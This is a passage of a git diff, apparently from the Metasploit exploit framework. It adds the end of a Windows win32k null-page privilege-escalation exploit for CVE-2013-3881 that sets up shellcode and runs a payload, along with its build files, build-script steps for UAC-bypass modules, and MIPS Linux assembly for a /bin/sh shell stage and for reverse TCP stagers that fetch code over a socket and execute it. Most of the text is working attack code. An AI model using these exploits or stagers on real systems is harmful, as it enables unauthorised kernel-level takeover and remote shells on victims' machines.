if (AllocateNullPage() != STATUS_SUCCESS) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
*((PDWORD)promise_land + 0) = 0x000004eb; /* jmp 4 */
|
||||||
|
*((PDWORD)promise_land + 1) = 0x90909090; /* noooop */
|
||||||
|
*((PDWORD)promise_land + 2) = 0x000400b8; /* mov eax, 400 */
|
||||||
|
*((PDWORD)promise_land + 3) = 0x90d0ff00; /* call eax */
|
||||||
|
*((PDWORD)promise_land + 7) = 0x00;
|
||||||
|
*((PDWORD)promise_land + 9) = 0x00;
|
||||||
|
*((PDWORD)promise_land + 12) = 0x00;
|
||||||
|
*(PDWORD)((PBYTE)promise_land + 0x04eb + 0x04) = (0x0200 - 4);
|
||||||
|
*(PDWORD)((PBYTE)promise_land + 0x04eb + 0x08) = (0x0200 - 4);
|
||||||
|
memcpy((PDWORD)promise_land + 256, shellcode, sizeof(shellcode));
|
||||||
|
|
||||||
|
window1 = CreateWindow(window_class_name, "Window 1", WS_OVERLAPPEDWINDOW, CW_USEDEFAULT, CW_USEDEFAULT, 240, 120, NULL, NULL, NULL, NULL);
|
||||||
|
menu1 = CreatePopupMenu();
|
||||||
|
menu2 = CreateMenu();
|
||||||
|
SetMenu(window1, menu2);
|
||||||
|
DestroyMenu(menu2);
|
||||||
|
|
||||||
|
aheList = GetAheList();
|
||||||
|
*((PDWORD)promise_land + 127) = ((DWORD)menu2 & 0xffff);
|
||||||
|
*((PDWORD)promise_land + 128) = 0x01;
|
||||||
|
*((PDWORD)promise_land + 129) = ((((DWORD)menu2 & 0xffff) * 12) + TABLE_BASE + 5) - 0x0104;
|
||||||
|
|
||||||
|
target_handle = &aheList[((DWORD)menu2 & 0xffff)];
|
||||||
|
*((PDWORD)promise_land + 512) = ((((DWORD)menu2 & 0xffff) * 12) + TABLE_BASE);
|
||||||
|
memcpy((PDWORD)promise_land + 513, target_handle, sizeof(HANDLEENTRY));
|
||||||
|
|
||||||
|
if (AppendMenu(menu1, (MF_STRING | MF_ENABLED), 32001, "test") == 0) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
do {
|
||||||
|
gdi_handle = CreateMetaFile(NULL);
|
||||||
|
} while (gdi_handle != NULL);
|
||||||
|
|
||||||
|
CreateThread(NULL, 0, TriggerThread0, NULL, 0, 0);
|
||||||
|
Sleep(500);
|
||||||
|
TrackPopupMenu(menu1, TPM_CENTERALIGN, 0, 0, 0, window1, NULL);
|
||||||
|
CreateThread(0, 0, ExecutePayload, lpPayload, 0, NULL);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved) {
|
||||||
|
BOOL bReturnValue = TRUE;
|
||||||
|
switch (dwReason) {
|
||||||
|
case DLL_QUERY_HMODULE:
|
||||||
|
hAppInstance = hinstDLL;
|
||||||
|
if (lpReserved != NULL) {
|
||||||
|
*(HMODULE *)lpReserved = hAppInstance;
|
||||||
|
}
|
||||||
|
break;
|
||||||
|
case DLL_PROCESS_ATTACH:
|
||||||
|
hAppInstance = hinstDLL;
|
||||||
|
Win32kNullPage(lpReserved);
|
||||||
|
break;
|
||||||
|
case DLL_PROCESS_DETACH:
|
||||||
|
case DLL_THREAD_ATTACH:
|
||||||
|
case DLL_THREAD_DETACH:
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
return bReturnValue;
|
||||||
|
};
|
85
external/source/exploits/cve-2013-3881/cve-2013-3881/cve-2013-3881.vcxproj
vendored
Executable file
85
external/source/exploits/cve-2013-3881/cve-2013-3881/cve-2013-3881.vcxproj
vendored
Executable file
|
@ -0,0 +1,85 @@
|
||||||
|
<?xml version="1.0" encoding="utf-8"?>
|
||||||
|
<Project DefaultTargets="Build" ToolsVersion="12.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||||
|
<ItemGroup Label="ProjectConfigurations">
|
||||||
|
<ProjectConfiguration Include="Debug|Win32">
|
||||||
|
<Configuration>Debug</Configuration>
|
||||||
|
<Platform>Win32</Platform>
|
||||||
|
</ProjectConfiguration>
|
||||||
|
<ProjectConfiguration Include="Release|Win32">
|
||||||
|
<Configuration>Release</Configuration>
|
||||||
|
<Platform>Win32</Platform>
|
||||||
|
</ProjectConfiguration>
|
||||||
|
</ItemGroup>
|
||||||
|
<PropertyGroup Label="Globals">
|
||||||
|
<ProjectGuid>{6DDC29F1-6AC0-4D8B-AA62-E21B0D7E219B}</ProjectGuid>
|
||||||
|
<RootNamespace>cve20133881</RootNamespace>
|
||||||
|
</PropertyGroup>
|
||||||
|
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
|
||||||
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
|
||||||
|
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||||
|
<UseDebugLibraries>true</UseDebugLibraries>
|
||||||
|
<WholeProgramOptimization>false</WholeProgramOptimization>
|
||||||
|
<CharacterSet>MultiByte</CharacterSet>
|
||||||
|
<PlatformToolset>v120</PlatformToolset>
|
||||||
|
</PropertyGroup>
|
||||||
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
|
||||||
|
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||||
|
<UseDebugLibraries>false</UseDebugLibraries>
|
||||||
|
<WholeProgramOptimization>false</WholeProgramOptimization>
|
||||||
|
<CharacterSet>MultiByte</CharacterSet>
|
||||||
|
<PlatformToolset>v120</PlatformToolset>
|
||||||
|
</PropertyGroup>
|
||||||
|
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
|
||||||
|
<ImportGroup Label="ExtensionSettings">
|
||||||
|
</ImportGroup>
|
||||||
|
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||||
|
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||||
|
</ImportGroup>
|
||||||
|
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||||
|
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||||
|
</ImportGroup>
|
||||||
|
<PropertyGroup Label="UserMacros" />
|
||||||
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||||
|
<IncludePath>../../../ReflectiveDLLInjection/common;$(IncludePath)</IncludePath>
|
||||||
|
</PropertyGroup>
|
||||||
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||||
|
<IncludePath>../../../ReflectiveDLLInjection/common;$(IncludePath)</IncludePath>
|
||||||
|
</PropertyGroup>
|
||||||
|
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||||
|
<ClCompile>
|
||||||
|
<CompileAs>CompileAsC</CompileAs>
|
||||||
|
<WarningLevel>Level3</WarningLevel>
|
||||||
|
<Optimization>Disabled</Optimization>
|
||||||
|
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||||
|
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||||
|
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
||||||
|
</ClCompile>
|
||||||
|
<Link>
|
||||||
|
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||||
|
<OptimizeReferences>true</OptimizeReferences>
|
||||||
|
<OutputFile>$(OutDir)$(TargetName).$(ProcessorArchitecture)$(TargetExt)</OutputFile>
|
||||||
|
</Link>
|
||||||
|
</ItemDefinitionGroup>
|
||||||
|
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||||
|
<ClCompile>
|
||||||
|
<CompileAs>CompileAsC</CompileAs>
|
||||||
|
<WarningLevel>Level3</WarningLevel>
|
||||||
|
<Optimization>Disabled</Optimization>
|
||||||
|
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||||
|
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||||
|
<CompileAs>Default</CompileAs>
|
||||||
|
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
||||||
|
</ClCompile>
|
||||||
|
<Link>
|
||||||
|
<GenerateDebugInformation>false</GenerateDebugInformation>
|
||||||
|
<OptimizeReferences>true</OptimizeReferences>
|
||||||
|
<OutputFile>$(OutDir)$(TargetName).$(ProcessorArchitecture)$(TargetExt)</OutputFile>
|
||||||
|
</Link>
|
||||||
|
</ItemDefinitionGroup>
|
||||||
|
<ItemGroup>
|
||||||
|
<ClCompile Include="cve-2013-3881.c" />
|
||||||
|
</ItemGroup>
|
||||||
|
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
|
||||||
|
<ImportGroup Label="ExtensionTargets">
|
||||||
|
</ImportGroup>
|
||||||
|
</Project>
|
|
@ -0,0 +1,17 @@
|
||||||
|
<?xml version="1.0" standalone="yes"?>
|
||||||
|
<Project xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||||
|
<PropertyGroup>
|
||||||
|
<SolutionPath>.\cve-2013-3881.sln</SolutionPath>
|
||||||
|
</PropertyGroup>
|
||||||
|
|
||||||
|
<Target Name="all" DependsOnTargets="x86" />
|
||||||
|
|
||||||
|
<Target Name="x86">
|
||||||
|
<Message Text="Building CVE-2013-3881 win32k_null_page x86 Release version" />
|
||||||
|
<MSBuild Projects="$(SolutionPath)" Properties="Configuration=Release;Platform=Win32" Targets="Clean;Rebuild"/>
|
||||||
|
</Target>
|
||||||
|
|
||||||
|
<Target Name="x64">
|
||||||
|
<Message Text="CVE-2013-3881 is not supported in x64" />
|
||||||
|
</Target>
|
||||||
|
</Project>
|
|
@ -40,6 +40,27 @@ IF "%ERRORLEVEL%"=="0" (
|
||||||
POPD
|
POPD
|
||||||
)
|
)
|
||||||
|
|
||||||
|
IF "%ERRORLEVEL%"=="0" (
|
||||||
|
ECHO "Building CVE-2013-3881 (win32k_null_page)"
|
||||||
|
PUSHD CVE-2013-3881
|
||||||
|
msbuild.exe make.msbuild /target:%PLAT%
|
||||||
|
POPD
|
||||||
|
)
|
||||||
|
|
||||||
|
IF "%ERRORLEVEL%"=="0" (
|
||||||
|
ECHO "Building bypassuac (on-disk)"
|
||||||
|
PUSHD bypassuac
|
||||||
|
msbuild.exe make.msbuild /target:%PLAT%
|
||||||
|
POPD
|
||||||
|
)
|
||||||
|
|
||||||
|
IF "%ERRORLEVEL%"=="0" (
|
||||||
|
ECHO "Building bypassuac (in-memory)"
|
||||||
|
PUSHD bypassuac_injection
|
||||||
|
msbuild.exe make.msbuild /target:%PLAT%
|
||||||
|
POPD
|
||||||
|
)
|
||||||
|
|
||||||
FOR /F "usebackq tokens=1,2 delims==" %%i IN (`wmic os get LocalDateTime /VALUE 2^>NUL`) DO IF '.%%i.'=='.LocalDateTime.' SET LDT=%%j
|
FOR /F "usebackq tokens=1,2 delims==" %%i IN (`wmic os get LocalDateTime /VALUE 2^>NUL`) DO IF '.%%i.'=='.LocalDateTime.' SET LDT=%%j
|
||||||
SET LDT=%LDT:~0,4%-%LDT:~4,2%-%LDT:~6,2% %LDT:~8,2%:%LDT:~10,2%:%LDT:~12,6%
|
SET LDT=%LDT:~0,4%-%LDT:~4,2%-%LDT:~6,2% %LDT:~8,2%:%LDT:~10,2%:%LDT:~12,6%
|
||||||
echo Finished %ldt%
|
echo Finished %ldt%
|
||||||
|
|
|
@ -0,0 +1,75 @@
|
||||||
|
##
|
||||||
|
#
|
||||||
|
# Name: stage_tcp_shell
|
||||||
|
# Type: Stage
|
||||||
|
# Qualities: Compatible with both mips little and big endian
|
||||||
|
# Platforms: Linux
|
||||||
|
# Authors: juan vazquez <juan.vazquez [at] metasploit.com>
|
||||||
|
# License:
|
||||||
|
#
|
||||||
|
# This file is part of the Metasploit Exploit Framework
|
||||||
|
# and is subject to the same licenses and copyrights as
|
||||||
|
# the rest of this package.
|
||||||
|
#
|
||||||
|
# Description:
|
||||||
|
#
|
||||||
|
# This payload duplicates stdio, stdin and stderr to a file descriptor,
|
||||||
|
# stored on $s2, and executes /bin/sh.
|
||||||
|
#
|
||||||
|
# Assemble and create a relocatable object with:
|
||||||
|
# as -o stage_tcp_shell.o stage_tcp_shell.s
|
||||||
|
#
|
||||||
|
# Assemble, link and create an executable ELF with:
|
||||||
|
# gcc -o stage_tcp_shell stage_tcp_shell.s
|
||||||
|
#
|
||||||
|
# The tool "tools/metasm_shell.rb" can be used to easily
|
||||||
|
# generate the string to place on:
|
||||||
|
# modules/payloads/stages/linux/mipsle/shell.rb
|
||||||
|
# and:
|
||||||
|
# modules/payloads/stages/linux/mipsbe/shell.rb
|
||||||
|
##
|
||||||
|
.text
|
||||||
|
.align 2
|
||||||
|
.globl main
|
||||||
|
.set nomips16
|
||||||
|
main:
|
||||||
|
.set noreorder
|
||||||
|
.set nomacro
|
||||||
|
|
||||||
|
# dup2(sockfd, 2)
|
||||||
|
# dup2(sockfd, 1)
|
||||||
|
# dup2(sockfd, 0)
|
||||||
|
# a0: oldfd (sockfd)
|
||||||
|
# a1: newfd (2, 1, 0)
|
||||||
|
# v0: syscall = __NR_dup2 (4063)
|
||||||
|
li $s1, -3
|
||||||
|
nor $s1, $s1, $zero
|
||||||
|
add $a0, $s2, $zero
|
||||||
|
dup2_loop:
|
||||||
|
add $a1, $s1, $zero # dup2_loop
|
||||||
|
li $v0, 4063 # sys_dup2
|
||||||
|
syscall 0x40404
|
||||||
|
li $s0, -1
|
||||||
|
addi $s1, $s1, -1
|
||||||
|
bne $s1, $s0, dup2_loop # <dup2_loop>
|
||||||
|
|
||||||
|
# execve("/bin/sh", ["/bin/sh"], NULL)
|
||||||
|
# a0: filename "/bin/sh"
|
||||||
|
# a1: argv ["/bin/sh", NULL]
|
||||||
|
# a2: envp NULL
|
||||||
|
# v0: syscall = __NR_dup2 (4011)
|
||||||
|
li $t8, -1 # load t8 with -1
|
||||||
|
getaddr: # getaddr trick from scut@team-teso.net
|
||||||
|
bltzal $t8, getaddr # branch with $ra stored if t8 < 0
|
||||||
|
slti $t8, $zero, -1 # delay slot instr: $t8 = 0 (see below)
|
||||||
|
addi $a0, $ra, 28 # $ra gets this address
|
||||||
|
sw $a0, -8($sp)
|
||||||
|
sw $zero, -4($sp)
|
||||||
|
addi $a1, $sp, -8
|
||||||
|
slti $a2, $zero,-1
|
||||||
|
li $v0, 4011 # sys_execve
|
||||||
|
syscall 0x40404
|
||||||
|
|
||||||
|
.string "/bin/sh"
|
||||||
|
.set macro
|
||||||
|
.set reorder
|
|
@ -0,0 +1,127 @@
|
||||||
|
##
|
||||||
|
#
|
||||||
|
# Name: stager_sock_reverse
|
||||||
|
# Type: Stager
|
||||||
|
# Qualities: No Nulls out of the IP / Port data
|
||||||
|
# Platforms: Linux MIPS Big Endian
|
||||||
|
# Authors: juan vazquez <juan.vazquez [at] metasploit.com>
|
||||||
|
# License:
|
||||||
|
#
|
||||||
|
# This file is part of the Metasploit Exploit Framework
|
||||||
|
# and is subject to the same licenses and copyrights as
|
||||||
|
# the rest of this package.
|
||||||
|
#
|
||||||
|
# Description:
|
||||||
|
#
|
||||||
|
# Implementation of a MIPS BE Linux reverse TCP stager.
|
||||||
|
#
|
||||||
|
# File descriptor in $s2.
|
||||||
|
#
|
||||||
|
# Assemble and create a relocatable object with:
|
||||||
|
# as -o stager_sock_reverse.o stager_sock_reverse.s
|
||||||
|
#
|
||||||
|
# Assemble, link and create an executable ELF with:
|
||||||
|
# gcc -o stager_sock_reverse stager_sock_reverse.s
|
||||||
|
#
|
||||||
|
# The tool "tools/metasm_shell.rb" can be used to easily
|
||||||
|
# generate the string to place on:
|
||||||
|
# modules/payloads/stagers/linux/mipsbe/reverse_tcp.rb
|
||||||
|
##
|
||||||
|
.text
|
||||||
|
.align 2
|
||||||
|
.globl main
|
||||||
|
.set nomips16
|
||||||
|
main:
|
||||||
|
.set noreorder
|
||||||
|
.set nomacro
|
||||||
|
|
||||||
|
# socket(PF_INET, SOCK_STREAM, IPPROTO_IP)
|
||||||
|
# a0: domain = PF_INET (2)
|
||||||
|
# a1: type = SOCK_STREAM (2)
|
||||||
|
# a2: protocol = IPPROTO_IP (0)
|
||||||
|
# v0: syscall = __NR_socket (4183)
|
||||||
|
li $t7, -6
|
||||||
|
nor $t7, $t7, $zero
|
||||||
|
addi $a0, $t7, -3
|
||||||
|
addi $a1, $t7, -3
|
||||||
|
slti $a2, $zero, -1
|
||||||
|
li $v0, 4183
|
||||||
|
syscall 0x40404
|
||||||
|
sw $v0, -4($sp) # store the file descriptor for the socket on the stack
|
||||||
|
|
||||||
|
# connect(sockfd, {sa_family=AF_INET, sin_port=htons(4444), sin_addr=inet_addr("192.168.172.1")}, 16)
|
||||||
|
# a0: sockfd
|
||||||
|
# a1: addr = AF_INET (2)
|
||||||
|
# a2: addrlen = 16
|
||||||
|
# v0: syscall = __NR_connect (4170)
|
||||||
|
lw $a0, -4($sp)
|
||||||
|
li $t7, -3
|
||||||
|
nor $t7, $t7, $zero
|
||||||
|
sw $t7, -32($sp)
|
||||||
|
lui $t6, 0x115c
|
||||||
|
sw $t6, -28($sp)
|
||||||
|
lui $t6, 0x7f00 # ip
|
||||||
|
ori $t6, $t6, 0x0001 # ip
|
||||||
|
sw $t6, -26($sp)
|
||||||
|
addiu $a1, $sp, -30
|
||||||
|
li $t4, -17
|
||||||
|
nor $a2, $t4, $zero
|
||||||
|
li $v0, 4170
|
||||||
|
syscall 0x40404
|
||||||
|
|
||||||
|
# mmap(0xffffffff, 4096, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0)
|
||||||
|
# a0: addr = -1
|
||||||
|
# a1: lenght = 4096
|
||||||
|
# a2: prot = PROT_READ|PROT_WRITE|PROT_EXEC (7)
|
||||||
|
# a3: flags = MAP_PRIVATE|MAP_ANONYMOUS (2050)
|
||||||
|
# sp(16): fd = -1
|
||||||
|
# sp(20): offset = 0
|
||||||
|
# v0: syscall = __NR_mmap (4090)
|
||||||
|
li $a0, -1
|
||||||
|
li $a1, 4097
|
||||||
|
addi $a1, $a1, -1
|
||||||
|
li $t1, -8
|
||||||
|
nor $t1, $t1, $0
|
||||||
|
add $a2, $t1, $0
|
||||||
|
li $a3, 2050
|
||||||
|
li $t3, -22
|
||||||
|
nor $t3, $t3, $zero
|
||||||
|
add $t3, $sp, $t3
|
||||||
|
sw $0, -1($t3) # Doesn't use $sp directly to avoid nulls
|
||||||
|
sw $2, -5($t3) # Doesn't use $sp directly to avoid nulls
|
||||||
|
li $v0, 4090
|
||||||
|
syscall 0x40404
|
||||||
|
sw $v0, -8($sp) # Stores the mmap'ed address on the stack
|
||||||
|
|
||||||
|
# read(sockfd, addr, 4096)
|
||||||
|
# a0: sockfd
|
||||||
|
# a1: addr
|
||||||
|
# a2: len = 4096
|
||||||
|
# v0: syscall = __NR_read (4003)
|
||||||
|
lw $a0, -4($sp)
|
||||||
|
lw $a1, -8($sp)
|
||||||
|
li $a2, 4097
|
||||||
|
addi $a2, $a2, -1
|
||||||
|
li $v0, 4003
|
||||||
|
syscall 0x40404
|
||||||
|
|
||||||
|
# cacheflush(addr, nbytes, DCACHE)
|
||||||
|
# a0: addr
|
||||||
|
# a1: nbytes
|
||||||
|
# a2: cache = DCACHE (2)
|
||||||
|
# v0: syscall = __NR_read (4147)
|
||||||
|
lw $a0, -8($sp)
|
||||||
|
add $a1, $v0, $zero
|
||||||
|
li $t1, -3
|
||||||
|
nor $t1, $t1, $0
|
||||||
|
add $a2, $t1, $0
|
||||||
|
li $v0, 4147
|
||||||
|
syscall 0x40404
|
||||||
|
|
||||||
|
# jmp to the stage
|
||||||
|
lw $s1, -8($sp)
|
||||||
|
lw $s2, -4($sp)
|
||||||
|
jalr $s1
|
||||||
|
|
||||||
|
.set macro
|
||||||
|
.set reorder
|
|
@ -0,0 +1,127 @@
|
||||||
|
##
|
||||||
|
#
|
||||||
|
# Name: stager_sock_reverse
|
||||||
|
# Type: Stager
|
||||||
|
# Qualities: No Nulls out of the IP / Port data
|
||||||
|
# Platforms: Linux MIPS Little Endian
|
||||||
|
# Authors: juan vazquez <juan.vazquez [at] metasploit.com>
|
||||||
|
# License:
|
||||||
|
#
|
||||||
|
# This file is part of the Metasploit Exploit Framework
|
||||||
|
# and is subject to the same licenses and copyrights as
|
||||||
|
# the rest of this package.
|
||||||
|
#
|
||||||
|
# Description:
|
||||||
|
#
|
||||||
|
# Implementation of a MIPS LE Linux reverse TCP stager.
|
||||||
|
#
|
||||||
|
# File descriptor in $s2.
|
||||||
|
#
|
||||||
|
# Assemble and create a relocatable object with:
|
||||||
|
# as -o stager_sock_reverse.o stager_sock_reverse.s
|
||||||
|
#
|
||||||
|
# Assemble, link and create an executable ELF with:
|
||||||
|
# gcc -o stager_sock_reverse stager_sock_reverse.s
|
||||||
|
#
|
||||||
|
# The tool "tools/metasm_shell.rb" can be used to easily
|
||||||
|
# generate the string to place on:
|
||||||
|
# modules/payloads/stagers/linux/mipsle/reverse_tcp.rb
|
||||||
|
##
|
||||||
|
.text
|
||||||
|
.align 2
|
||||||
|
.globl main
|
||||||
|
.set nomips16
|
||||||
|
main:
|
||||||
|
.set noreorder
|
||||||
|
.set nomacro
|
||||||
|
|
||||||
|
# socket(PF_INET, SOCK_STREAM, IPPROTO_IP)
|
||||||
|
# a0: domain = PF_INET (2)
|
||||||
|
# a1: type = SOCK_STREAM (2)
|
||||||
|
# a2: protocol = IPPROTO_IP (0)
|
||||||
|
# v0: syscall = __NR_socket (4183)
|
||||||
|
li $t7, -6
|
||||||
|
nor $t7, $t7, $zero
|
||||||
|
addi $a0, $t7, -3
|
||||||
|
addi $a1, $t7, -3
|
||||||
|
slti $a2, $zero, -1
|
||||||
|
li $v0, 4183
|
||||||
|
syscall 0x40404
|
||||||
|
sw $v0, -4($sp) # store the file descriptor for the socket on the stack
|
||||||
|
|
||||||
|
# connect(sockfd, {sa_family=AF_INET, sin_port=htons(4444), sin_addr=inet_addr("192.168.172.1")}, 16)
|
||||||
|
# a0: sockfd
|
||||||
|
# a1: addr = AF_INET (2)
|
||||||
|
# a2: addrlen = 16
|
||||||
|
# v0: syscall = __NR_connect (4170)
|
||||||
|
lw $a0, -4($sp)
|
||||||
|
li $t7, -3
|
||||||
|
nor $t7, $t7, $zero
|
||||||
|
sw $t7, -30($sp)
|
||||||
|
ori $t6, $zero, 0x5c11 # port
|
||||||
|
sw $t6, -28($sp)
|
||||||
|
lui $t6, 0x100 # ip
|
||||||
|
ori $t6, $t6, 0x7f # ip
|
||||||
|
sw $t6, -26($sp)
|
||||||
|
addiu $a1, $sp, -30
|
||||||
|
li $t4, -17
|
||||||
|
nor $a2, $t4, $zero
|
||||||
|
li $v0, 4170
|
||||||
|
syscall 0x40404
|
||||||
|
|
||||||
|
# mmap(0xffffffff, 4096, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0)
|
||||||
|
# a0: addr = -1
|
||||||
|
# a1: lenght = 4096
|
||||||
|
# a2: prot = PROT_READ|PROT_WRITE|PROT_EXEC (7)
|
||||||
|
# a3: flags = MAP_PRIVATE|MAP_ANONYMOUS (2050)
|
||||||
|
# sp(16): fd = -1
|
||||||
|
# sp(20): offset = 0
|
||||||
|
# v0: syscall = __NR_mmap (4090)
|
||||||
|
li $a0, -1
|
||||||
|
li $a1, 4097
|
||||||
|
addi $a1, $a1, -1
|
||||||
|
li $t1, -8
|
||||||
|
nor $t1, $t1, $0
|
||||||
|
add $a2, $t1, $0
|
||||||
|
li $a3, 2050
|
||||||
|
li $t3, -22
|
||||||
|
nor $t3, $t3, $zero
|
||||||
|
add $t3, $sp, $t3
|
||||||
|
sw $0, -1($t3) # Doesn't use $sp directly to avoid nulls
|
||||||
|
sw $2, -5($t3) # Doesn't use $sp directly to avoid nulls
|
||||||
|
li $v0, 4090
|
||||||
|
syscall 0x40404
|
||||||
|
sw $v0, -8($sp) # Stores the mmap'ed address on the stack
|
||||||
|
|
||||||
|
# read(sockfd, addr, 4096)
|
||||||
|
# a0: sockfd
|
||||||
|
# a1: addr
|
||||||
|
# a2: len = 4096
|
||||||
|
# v0: syscall = __NR_read (4003)
|
||||||
|
lw $a0, -4($sp)
|
||||||
|
lw $a1, -8($sp)
|
||||||
|
li $a2, 4097
|
||||||
|
addi $a2, $a2, -1
|
||||||
|
li $v0, 4003
|
||||||
|
syscall 0x40404
|
||||||
|
|
||||||
|
# cacheflush(addr, nbytes, DCACHE)
|
||||||
|
# a0: addr
|
||||||
|
# a1: nbytes
|
||||||
|
# a2: cache = DCACHE (2)
|
||||||
|
# v0: syscall = __NR_read (4147)
|
||||||
|
lw $a0, -8($sp)
|
||||||
|
add $a1, $v0, $zero
|
||||||
|
li $t1, -3
|
||||||
|
nor $t1, $t1, $0
|
||||||
|
add $a2, $t1, $0
|
||||||
|
li $v0, 4147
|
||||||
|
syscall 0x40404
|
||||||
|
|
||||||
|
# jmp to the stage
|
||||||
|
lw $s1, -8($sp)
|
||||||
|
lw $s2, -4($sp) # sockfd saved on $s2
|
||||||
|
jalr $s1
|
||||||
|
|
||||||
|
.set macro
|
||||||
|
.set reorder
|
|
@ -1,124 +1,128 @@
|
||||||
#=============================================================================#
|
|
||||||
# A simple python build script to build the singles/stages/stagers and
|
|
||||||
# some usefull information such as offsets and a hex dump. The binary output
|
|
||||||
# will be placed in the bin directory. A hex string and usefull comments will
|
|
||||||
# be printed to screen.
|
|
||||||
#
|
|
||||||
# Example:
|
|
||||||
# >python build.py stager_reverse_tcp_nx
|
|
||||||
#
|
|
||||||
# Example, to build everything:
|
|
||||||
# >python build.py all > build_output.txt
|
|
||||||
#
|
|
||||||
# Author: Stephen Fewer (stephen_fewer[at]harmonysecurity[dot]com)
|
|
||||||
#=============================================================================#
|
|
||||||
import os, sys, time
|
|
||||||
from subprocess import Popen
|
|
||||||
from struct import pack
|
|
||||||
#=============================================================================#
|
|
||||||
def clean( dir="./bin/" ):
|
|
||||||
for root, dirs, files in os.walk( dir ):
|
|
||||||
for name in files:
|
|
||||||
os.remove( os.path.join( root, name ) )
|
|
||||||
#=============================================================================#
|
|
||||||
def locate( src_file, dir="./src/" ):
|
|
||||||
for root, dirs, files in os.walk( dir ):
|
|
||||||
for name in files:
|
|
||||||
if src_file == name:
|
|
||||||
return root
|
|
||||||
return None
|
|
||||||
#=============================================================================#
|
|
||||||
def build( name ):
|
|
||||||
location = locate( "%s.asm" % name )
|
|
||||||
if location:
|
|
||||||
input = os.path.normpath( os.path.join( location, name ) )
|
|
||||||
output = os.path.normpath( os.path.join( "./bin/", name ) )
|
|
||||||
p = Popen( ["nasm", "-f bin", "-O3", "-o %s.bin" % output, "%s.asm" % input ] )
|
|
||||||
p.wait()
|
|
||||||
xmit( name )
|
|
||||||
else:
|
|
||||||
print "[-] Unable to locate '%s.asm' in the src directory" % name
|
|
||||||
#=============================================================================#
|
|
||||||
def xmit_dump_ruby( data, length=16 ):
|
|
||||||
dump = ""
|
|
||||||
for i in xrange( 0, len( data ), length ):
|
|
||||||
bytes = data[ i : i+length ]
|
|
||||||
hex = "\"%s\"" % ( ''.join( [ "\\x%02X" % ord(x) for x in bytes ] ) )
|
|
||||||
if i+length <= len(data):
|
|
||||||
hex += " +"
|
|
||||||
dump += "%s\n" % ( hex )
|
|
||||||
print dump
|
|
||||||
#=============================================================================#
|
|
||||||
def xmit_offset( data, name, value ):
|
|
||||||
offset = data.find( value );
|
|
||||||
if offset != -1:
|
|
||||||
print "# %s Offset: %d" % ( name, offset )
|
|
||||||
#=============================================================================#
|
|
||||||
def xmit( name, dump_ruby=True ):
|
|
||||||
bin = os.path.normpath( os.path.join( "./bin/", "%s.bin" % name ) )
|
|
||||||
f = open( bin, 'rb')
|
|
||||||
data = f.read()
|
|
||||||
print "# Name: %s\n# Length: %d bytes" % ( name, len( data ) )
|
|
||||||
xmit_offset( data, "Port", pack( ">H", 4444 ) ) # 4444
|
|
||||||
xmit_offset( data, "LEPort", pack( "<H", 4444 ) ) # 4444
|
|
||||||
xmit_offset( data, "Host", pack( ">L", 0x7F000001 ) ) # 127.0.0.1
|
|
||||||
xmit_offset( data, "IPv6Host", pack( "<Q", 0xBBBBBBBBBBBBBBB1 ) ) # An IPv6 Address
|
|
||||||
xmit_offset( data, "IPv6ScopeId", pack( "<L", 0xAAAAAAA1 ) ) # An IPv6 Scope ID
|
|
||||||
xmit_offset( data, "HostName", "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX\x00" ) # hostname filler
|
|
||||||
xmit_offset( data, "RetryCounter", "\x6a\x05" ) # socket retry
|
|
||||||
xmit_offset( data, "CodeLen", pack( "<L", 0x12345678 ) ) # Filler
|
|
||||||
xmit_offset( data, "Hostname", "https" )
|
|
||||||
xmit_offset( data, "ExitFunk", pack( "<L", 0x0A2A1DE0 ) ) # kernel32.dll!ExitThread
|
|
||||||
xmit_offset( data, "ExitFunk", pack( "<L", 0x56A2B5F0 ) ) # kernel32.dll!ExitProcess
|
|
||||||
xmit_offset( data, "ExitFunk", pack( "<L", 0xEA320EFE ) ) # kernel32.dll!SetUnhandledExceptionFilter
|
|
||||||
xmit_offset( data, "ExitFunk", pack( "<L", 0xE035F044 ) ) # kernel32.dll!Sleep
|
|
||||||
